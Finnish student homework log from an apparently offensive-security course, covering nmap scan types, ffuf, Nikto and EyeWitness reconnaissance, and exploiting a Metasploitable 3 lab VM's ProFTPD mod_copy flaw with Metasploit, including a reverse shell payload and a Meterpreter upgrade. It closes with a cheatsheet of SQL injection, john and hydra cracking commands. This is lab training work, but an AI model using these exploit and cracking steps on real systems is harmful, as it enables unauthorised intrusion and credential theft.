Filtered - Porttiin ei saada yhteyttä, esimerkiksi palomuuri estämässä liikennettä.
Port Scanning Techniques
Tässä esiteltyjä tekniikoita käydäänkin tämän viikon tehtävissä lävitse.Tehtävä A
nmap TCP connect scan -sT
-sT
$ sudo nmap 10.10.10.4 -p 22 -sT
-sT - Connect scan
Wireshark:
Source | Destination | Info |
---|---|---|
Minä | Kohde | SYN - Lähetetään yhteyspyyntö (SYN) |
Kohde | Minä | SYN, ACK - Kohde kuittaa (ACK) yhteyspyynnön ja lätettää oman (SYN) |
Minä | Kohde | ACK - Kuitataan kohteen edellinen SYN paketti |
Minä | Kohde | RST, ACK - Kuitataan viimeksi tullut data (ACK) ja kerrotaan että ei oteta lisää yhteyksiä (RST) |
Tehtävä B
nmap TCP SYN "used to be stealth" scan, -sS (tätä käytetään skannatessa useimmin)
-sS
$ sudo nmap 10.10.10.4 -p 22 -sS
-sS - SYN scan
Lähettää SYN paketin ja ei vastaa vastauksena tulleeseen SYN-ACK pakettiin, vaan lähetää RST paketin kertoakseen että ei ota vastaan lisää paketteja kohteelta.
Source | Destination | Info |
---|---|---|
Minä | Kohde | SYN - Lähetetään yhteyspyyntö (SYN) |
Kohde | Minä | SYN, ACK - Kohde kuittaa (ACK) yhteyspyynnön ja lätettää oman (SYN) |
Minä | Kohde | RST - Kerrotaan että ei oteta lisää yhteyksiä (RST) |
Tehtävä C
nmap ping sweep -sn
-sN
$ sudo nmap -sn 10.10.10.0/24
-sN - Verkon skannaus
Nmap kysyy mahdollista omistajaa brodcastin avulla kaikkiin osoitteisiin välillä 10.10.10.0-255
Kyseessä on tietenkin lähiverkko, mutta latencyn ollessa 0.00016sekunttia, tiedämme että kone on hyvin lyhyen hypähdyksen päässä.
Vaaleansinisellä kysely: onko kellään IP osoitetta 10.10.10.4 ja pyyntö kertoa se osoitteelle 10.10.10.3 (eli minulle).
Tummansinisellä vastaus, 10.10.10.4 kuuluu koneelle jonka mac osoite on 08:00:27:6d:8c:39
Tehtävä D
nmap don't ping -Pn
-Pn
$ sudo nmap -Pn 10.10.10.4
-Pn - Treat all hosts as online.
Wiresharkissa hyvin paljon tietoa, sen avaaminen vaatisi hieman enemmän aikaa kuin mitä minulla on nyt käytettävissän.
Tehtävä E
nmap version detection -sV (esimerkki yhdestä palvelusta yhdessä portissa riittää)
-sV
$ sudo nmap 10.10.10.4 -p 22 -sV
-sV - Versio skannaus
Skannaa version portissa olevasta palvelusta ja itse palvelimesta. Aiheuttaen samalla hyvin paljon enemmän kyselyitä palvelimelle.
Ilman -sV on liikenne hyvin paljon kevyempää:
$ sudo nmap 10.10.10.4 -p 22
Tehtävä F
nmap porttien valinta -p1-100, --top-ports 5, -p-
-p1-100
$ sudo nmap 10.10.10.4 -p 1-100
-p - Skannaa halutun portit tai portit
--top-ports 5
Skannaa viisi eniten käytettyä porttia:$ sudo nmap -sTU --top-ports 5 10.10.10.4
--top-ports - Skannaa useimmiten käytetyt portit
-sTU - TCP ja UDP skannaukset
Vastaus:
TCP: 21,22,23,80 ja 443
UDP: 123,137,138,161 ja 631
-p-
$ sudo nmap 10.10.10.4 -p-
-p- Skannaa kaikki portit (1-65535).
Tehtävä G
nmap ip-osoitteiden valinta; luettelo, verkkomaskilla 10.10.10.0/24, alku- ja loppuosoitteella 10.10.10.100-130 (ipcalc auttaa ymmärtämään, miten verkkomaskia tulkitaan)
Osoitteen valinta
Koko verkon skannauksen sijaan voidaan rajata se haluttuihin osoitteisiin. Tässä käydään läpi osoitteet 10.10.10.5-10.$ sudo nmap -sn 10.10.10.5-10
Nmap scan report for 10.10.10.5 Host is up, received arp-response (0.00024s latency).
Nmap scan report for 10.10.10.6 [host down, received no-response]
Nmap scan report for 10.10.10.7 [host down, received no-response]
Nmap scan report for 10.10.10.8 [host down, received no-response]
Nmap scan report for 10.10.10.9 [host down, received no-response]
Nmap scan report for 10.10.10.10 [host down, received no-response]
Nmap done: 6 IP addresses (1 host up)
Tehtävä H
nmap output files -oA foo. Mihin kukin tiedostotyyppi sopii?
-oA
Tallentaa tulokset kolmeen eri tiedostoon: .gnmap, .nmap ja .xml$ sudo nmap 10.10.10.5 -oA tuloste
Tehtävä K
nmap ajonaikaiset toiminnot (man nmap: runtime interaction): verbosity v/V, help ?, packet tracing p/P, status s (ja moni muu nappi)
Ajonaikaiset toiminnot
v lisää verbositeettiä, V vähentää.? näyttää help valikon.
p lisää paketinseurannan, P poistaa sen käytöstä. muut napit tulostaa arvion jäljellä olevasta ajasta
Kuvankaappaus paketinseurannasta:
Tehtävä L
normaalisti 'sudo nmap'. Miten nmap toiminta eroaa, jos sitä ajaa ilman sudoa? Suorita ja analysoi esimerkki.
Sudo vs no Sudo
Ilman sudoa jää osa tuloksista pois, esimerkiksi MAC-osoitteet ei näy.Tehtävä M
nmap, vertaile -sV vs -A kestoa (ja lähetetyn datan määrää jos osaat; time, nethogs, wireshark). Käytä harjoitusmaalina metasploitable2.
-sV vs -A
-A kestää huomattavasti pidempään, syynä se, että hakee paljon enemmän tietoa kohteesta.Tehtävä D
Ninjojen tapaan. Piiloutuuko nmap-skannaus hyvin palvelimelta? Vinkkejä: Asenna Apache. Aja nmap-versioskannaus -sV omaan paikalliseen weppipalvelimeen. Etsi Apachen lokista tätä koskevat rivit. Wiresharkissa "http" on kätevä filtteri, se tulee siihen yläreunan "Apply a display filter..." -kenttään. Nmap-ajon aikana p laittaa packet tracing päälle. Vapaaehtoinen lisäkohta: jääkö Apachen lokiin jokin todiste nmap-versioskannauksesta?
Ninjat
$ sudo nmap -sV 10.10.10.2 -p 80
Apache2 access.log, paljon GET ja POST pyyntöjä osoitteesta 10.10.10.3
$ sudo nmap -sS 10.10.10.2 -p 80
Ei yhtäkään uutta riviä access.log issa
Tehtävä E
Mitkä ovat tavallisimmat tai kiinnostavimmat palvelut, joita UDP-skannauksella voisi löytää? (tässä alakohdassa vain vastaus viitteineen, ei tarvita testiä tietokoneella)
Tavallisimmat ja kiinnostavimmat palvelut UDP
Domain Network System (DNS)Network Time Protocol (NTP)
Dynamic Host Configuration Protocol (DHCP)
Simple Network Management Protocol (SNMP)
Tehtävä F
Miksi UDP-skannaus on hankalaa ja epäluotettavaa? Miksi UDP-skannauksen kanssa kannattaa käyttää --reason flagia? (tässä alakohdassa vain vastaus viitteineen, ei tarvita testiä tietokoneella)
UDP hankala ja epäluotettava
UDP scannaus lähettää yleensä tyhjän paketin, voi kuitenkin olla niin että portissa oleva palvelu hylkää tämän paketin eikä siihen vastaa.--reason flag kertoo syyn miksi portti on oletetusti auki tai kiinni.
Tehtävä Aktiivista tiedustelua H
fuff (hakemistojen kokeilu riittää, vapaaehtoisena bonuksena muutakin)
Fuff
Meillä on kohteena palvelin, jossa on verkkosivu auki portissa 80.$ ffuf -w ./wordlists/common.txt -u http://10.10.10.2/FUZZ
-w - Käytetään sanalistaa jonka avulla fuff etsii tiedostoja ja kansioita
-u - Sivun osoite
FUZZ - Kohta johon haluamme sanalistaa koittaa
index.html - Html tiedosto
server-status - Tiedosto joka sisältää tietoa apache palvelimesta
Status 200 - Onnistunut, vastaa ja toimii
Status 301 -
Status 403 - Tälläinen tiedosto löytyi, mutta meillä ei siihen ole oikeuksia
Nyt voimme mennä katsomaan mitä Admin kansio sisältää. Sieltä löytyi salainen tiedosto.
Tehtävä aktiivista tiedustelua I
Nikto
Nikto
https://www.kali.org/tools/nikto/Nikto on web haavoittuvaisuusskanneri. Skannaa oletuksena portin 80, vaihdan sen porttiin 8080, jossa tiedän että on webpalvelu auki tällä kyseisellä koneella.
$ nikto -host 10.10.10.4 -port 8080
Raportista nousi yksi kiinnostava asia,
+ OSVDB-17113: /SilverStream: SilverStream allows directory listing
Tehtävä aktiivista tiedustelua J
Pizza fantasia: jokin valitsemasi tiedustelutyökalu, esimerkiksi EyeWitness, wpscan, openvas, nucleus tai jokin muu.
EyeWitness
https://www.kali.org/tools/eyewitness/EyeWitness ottaa kuvankaappauksia halutusta websivuista ja tallentaa ne tietoineen.
Koitan ohjelmaa sisäverkossa olevaa konetta vastaan jolla on jotain esillä portissa 8080,
$ eyewitness --single http://10.10.10.4:8080 -d eyetest
--single - Annetaan yksi url
-d - Kansio jonne tiedostot laitetaan
H5, Script kiddie
Tehtävät:
Tehtävä ZLue artikkelit ja katso videot, tee kustakin muistiinpanot.
-€ Jaswal 2020: Mastering Metasploit - 4ed: Chapter 1: Approaching a Penetration Test Using Metasploit (kohdasta "Conducting a penetration test with Metasploit" luvun loppuun)
-Vapaavalintainen läpikävely (walktrough) yhdestä murrosta.
Tehtävä A
Asenna Metasploitable 3
Tehtävä B
Murtaudu Metasploitable 3 käyttämällä Metasploittia
Tehtävä C
Demonstroi meterpreter:n käyttöä
Harjoituksissa käytetty välineistö:
Asus ROG Zephyrus G14
- Prosessori: AMD Ryzen 9 5900HS
- Muisti: 32GB
- Käyttöjärjestelmä: Windows 10 Pro, 21H1, 64bit, build 19043.1645
Oracle VM VirtualBox, version 6.1.32
kali-linux-2022.1-virtualbox-amd64
- Ram: 8GB
- Cores: 2
Debian-live-11.3.0-amd64-xfce+nonfree
- Ram: 6GB
- Cores: 2
Tehtävä Z
Lue artikkelit ja katso videot, tee kustakin muistiinpanot (muutama ranskalainen viiva per artikkeli/video). Tässä v-kohdassa ei tarvitse tehdä mitään kokeita koneella.€ Jaswal 2020: Mastering Metasploit - 4ed: Chapter 1: Approaching a Penetration Test Using Metasploit (kohdasta "Conducting a penetration test with Metasploit" luvun loppuun)
Vapaavalintainen läpikävely (walktrough) yhdestä murrosta. Voit siis valita yhden läpikävelyn mistä tahansa näistä kanavista tai blogista. Kanavilla on muitakin artikkeleita, valitse tästä läpikävely. Keskity tiivistäessä asioihin, joita voisit itse soveltaa hyökätessä. Tässä on yli 200 h videota, niitä ei tarvitse katsoa kaikkia.
0xdfhttps://0xdf.gitlab.io/
ippsechttps://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA/videos
John Hammond https://www.youtube.com/user/RootOfTheNull/videos?sort=p
HackTheBox - Driver
Youtube: HackTheBox - DriverTahti oli nopea ja tekijä osaava, kun yksi asia ei toiminut hän muutti hieman tapaa ja yritti uudelleen ja uudelleen. Hyvin pienistä vinkeistä hän huomaa mitä tehdä seuraavaksi, tai mitä työkalua/tapaa kannattaa yrittää.
Koko walktrough oli täynnä minulle täysin uusia tapoja hyökätä, kuten SCF File Attack SCF File Attack
ja Evil-WinRM
Sopivasti tämän viikon teemaan sopien hän käytti myös metasploittia ja meterpreteriä avukseen.
Vuoden alussa en olisi pysynyt tässä mukana ollenkaan, nyt ymmärsin mitä hän tekee ja miksi, vaikka usein ajattelinkin että mistä hän keksi että näin voi tehdä. Työkalupakkia sinne päähän tässä itsekkin rakentelee ja joka viikko oppii uusia asioita.
Tehtävä A
Emmental. Asenna Metasploitable 3
Metasploitable 3 asennus Debian 11 VirtualBox koneelle
Teen asennukset Debian11 virtuaalikoneella ja siirrän tuloksena tulleet .ova tiedostot Windows koneelle ja lisään ne sitä kautta VirtualBoxiin.Seurasin ohjeita jotka löytyvät täältä: https://github.com/rapid7/metasploitable3/blob/master/README.md
Vagrant ja vagrant-reload
$ sudo apt-add-repository "deb [arch=amd64] https://apt.releases.hashicorp.com $(lsb_release -cs) main"
$ curl -fsSL https://apt.releases.hashicorp.com/gpg | sudo apt-key add -
$ sudo apt-get update
$ sudo apt-get install vagrant
$ vagrant plugin install vagrant-reload
Packer
$ sudo apt-get install packer
Virtualbox
$ sudo apt-add-repository "deb [arch=amd64] https://download.virtualbox.org/virtualbox/debian $(lsb_release -cs) contrib"
$ wget -q https://www.virtualbox.org/download/oracle_vbox_2016.asc -O- | sudo apt-key add -
$ sudo apt-get update
$ sudo apt-get install virtualbox-6.1
Vagrantfile
$ mkdir metasploitable3-workspace
$ cd metasploitable3-workspace
$ curl -O https://raw.githubusercontent.com/rapid7/metasploitable3/master/Vagrantfile
$ vagrant up
ERROR: IP
The IP address configured for the host-only network is not within the
allowed ranges. Please update the address used to be within the allowed
ranges and run the command again.
Address: 172.28.128.3
Ranges: 192.168.56.0/21
Valid ranges can be modified in the /etc/vbox/networks.conf file. For
more information including valid format see:
https://www.virtualbox.org/manual/ch06.html#network_hostonly
https://www.virtualbox.org/manual/ch06.html#network_hostonly
Käytän konetta vain omassa suljetussa verkossa, joten poistan rajoitukset:
$ sudo nano /etc/vbox/networks.conf
Ja kirjoitan sinne seuraavan rivin:
* 0.0.0.0/0 ::/0
ERROR: AMD-V
There was an error while executing `VBoxManage`, a CLI used by Vagrant
for controlling VirtualBox. The command and stderr is shown below.
Command: ["startvm", "ad9a60c7-6795-44d3-9a4b-acf1de0d8c5e", "--type", "headless"]
Stderr: VBoxManage: error: AMD-V is not available (VERR_SVM_NO_SVM)
VBoxManage: error: Details: code NS_ERROR_FAILURE (0x80004005), component ConsoleWrap, interface IConsole
Muutan hieman asetuksia ja otan käyttöön 'Nested VT-x/AMD-V".
Toimii
.ova
Virtualboxissa: File->Export ApplianceTehtävä B
Msf. Murtaudu Metasploitable 3 käyttämällä Metasploittia 'sudo msfconsole'
Metasploit
Käynnistän metasploitin.
$ sudo msfconsole
msf6 > nmap 10.10.10.7 -sV
ProFTPD 1.3.5
Aloitan ensimmäisestä portista, port 21.
msf6 > search ProFTPD
4 ProFTPD 1.3.5 Mod_Copy Command Execution
Yksi 'excellent' luokiteltu versiolle 1.3.5, valitsen sen.
msf6 > use 4
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > show options
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set RHOST 10.10.10.7
RHOST => 10.10.10.7
Tarjolla olevat payloadit:
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > show payloads
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set payload 1
payload => cmd/unix/bind_perl
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > exploit
[-] 10.10.10.7:80 - Exploit aborted due to failure: unknown: 10.10.10.7:21 - Failure copying PHP payload to website path, directory not writable?
'website path, directory not writable' tutkimisen arvoinen ilmoitus. Tällähetkellä SITEPATH (Absolute writable website path) on '/var/www', oma apache2 kokemus sanoisi että vakiona se olisi '/var/www/html', tai '/var/www/SIVUNNIMI'. Osoitteessa http://10.10.10.7 ei ole "sivua" vain hakemistorakenne.
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set SITEPATH /var/www/html
SITEPATH => /var/www/html
Uusi yritys:
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > exploit
[*] 10.10.10.7:80 - 10.10.10.7:21 - Connected to FTP server
[*] 10.10.10.7:80 - 10.10.10.7:21 - Sending copy commands to FTP server
[*] 10.10.10.7:80 - Executing PHP payload /6OPyDB.php
[-] 10.10.10.7:80 - Exploit aborted due to failure: unknown: 10.10.10.7:21 - Failure executing payload
[*] Exploit completed, but no session was created.
'Failure executing payload'. Tälläkertaa kirjoittamien onnistui, mutta payload ei. Nyt on käytössä 'Bind TCP (via Perl)' vaihdan sen 'Reverse TCP (via Perl)'.
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > show payloads
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set payload 5
payload => cmd/unix/reverse_perl
Ja annan sille payloadille osoitteen minne soittaa takaisin.
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set LHOST 10.10.10.3
LHOST => 10.10.10.3
Onnistuisikohan nyt, exploit.
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > exploit
[*] Started reverse TCP handler on 10.10.10.3:4444
[*] 10.10.10.7:80 - 10.10.10.7:21 - Connected to FTP server
[*] 10.10.10.7:80 - 10.10.10.7:21 - Sending copy commands to FTP server
[*] 10.10.10.7:80 - Executing PHP payload /ngt5iF.php
[*] Command shell session 1 opened (10.10.10.3:4444 -> 10.10.10.7:44645 ) at 2022-05-06 01:54:13 -0400
Onnistui, olemme käyttäjä www-data, ryhmässä www-data. Tämähän ei vielä ole murrettu, mutta siirryn seuraavaan tehtävään koska se jatkuu tästä sopivasti.
Tehtävä C
Rat. Demonstroi meterpreter:n käyttöä
Meterpreter
Jatkan siit mihin jäin edellisessä tehtävässä jäin. CTRL+Z laittaa tuon session taustalle ja etsin payloadin joka vaihtaisi shellin meterpreteriin.
Background session 1? [y/N] y
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > back
msf6 > search shell to meterpreter
Hakutermiä voisi hieman parantaa, tuloksia tuli 39 kappaletta. Mutta löysin mitä halusin:
17 post/multi/manage/shell_to_meterpreter Shell to Meterpreter Upgrade
Käytän siis sitä.
msf6 > use 17
msf6 post(multi/manage/shell_to_meterpreter) > show options
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > exploit
[*] Meterpreter session 2 opened
Siiryn tähän sessioon.
msf6 post(multi/manage/shell_to_meterpreter) > sessions 2
[*] Starting interaction with 2...
Toimii kuten pitää. Tämän kautta terminaalin käyttö on selkeästi helpompaa
H6, Final Countdown
Tehtävät:
Tehtävä AMuuta hakupyyntöä välimiesproxylla.
Tehtävä B
kerää parhaat kikat, käskyt ja tekniikat omasta ja toisten raporteista.
Tehtävä D
Kaikki tehtävät tähän. Listaa suora linkki kuhunkin palautukseesi.
Tehtävä F
Jos olet korkannut koneita Challenge.fi:ssa tai HackTheBoxissa, listaa ne tähän.
Harjoituksissa käytetty välineistö:
Asus ROG Zephyrus G14
- Prosessori: AMD Ryzen 9 5900HS
- Muisti: 32GB
- Käyttöjärjestelmä: Windows 10 Pro, 21H1, 64bit, build 19043.1645
Oracle VM VirtualBox, version 6.1.32
kali-linux-2022.1-virtualbox-amd64
- Ram: 8GB
- Cores: 2
Debian-live-11.3.0-amd64-xfce+nonfree
- Ram: 6GB
- Cores: 2
Tehtävä A
Middle. Muuta hakupyyntöä välimiesproxylla.
MITM
En ehtinyt tätä tehtävää tehdä loppuun, koska en ollut omalla koneellani. Lisään sen tänne kun sen saan tehtyä.Tehtävä B
Cheatsheet - kerää parhaat kikat, käskyt ja tekniikat omasta ja toisten raporteista.
Cheatsheet
search, use, show options, set, exploit, ctrl+z, sessions - Metasploitin peruskomentoja-sn, -sV, -p, -sS, -A - Nmapin lippuja
Wireshark Verkkoliikenteen sieppaus ja analysointi
0 OR 1=1 - SQL injection
$ john HASHFILE --wordlist=/WORDLIST - Paikalliseen salasanamurtoon
$ hydra -l USERNAME -P /WORDLIST IP PROTOCOL - Verkon yli salasanamurtoon
$ ffuf -w ./wordlists/common.txt -u http://10.10.10.2/FUZZ - Etsii piilotetut kansiot ja tiedostot sivuilla
$ nikto -host 10.10.10.4 - Haavoittuvaisuusskanneri
$ ipconfig - IP, DNS ym tietoa
$ ping IP - Tarkastus onko vastakone pystyssä
$ man - Ohjelmien manuaalien katsomiseen
Tehtävä C
Kaikki tehtävät tähän. Listaa suora linkki kuhunkin palautukseesi.
Tehtävät
H1, Vuohi, tappoketju ja pimeän verkon päiväkirjatH2, Turbo boosted
H3, Attaaack!
H4, Tiedustelua
H5, Script kiddie
H6, Final Countdown
Tehtävä F
Vapaaehtoinen, Korkki: Jos olet korkannut koneita Challenge.fi:ssa tai HackTheBoxissa, listaa ne tähän. Erottele selkeästi käynnissä olevien kilpailujen (non-retired) koneet vanhoista, joiden ratkaisut on jo julkaistu.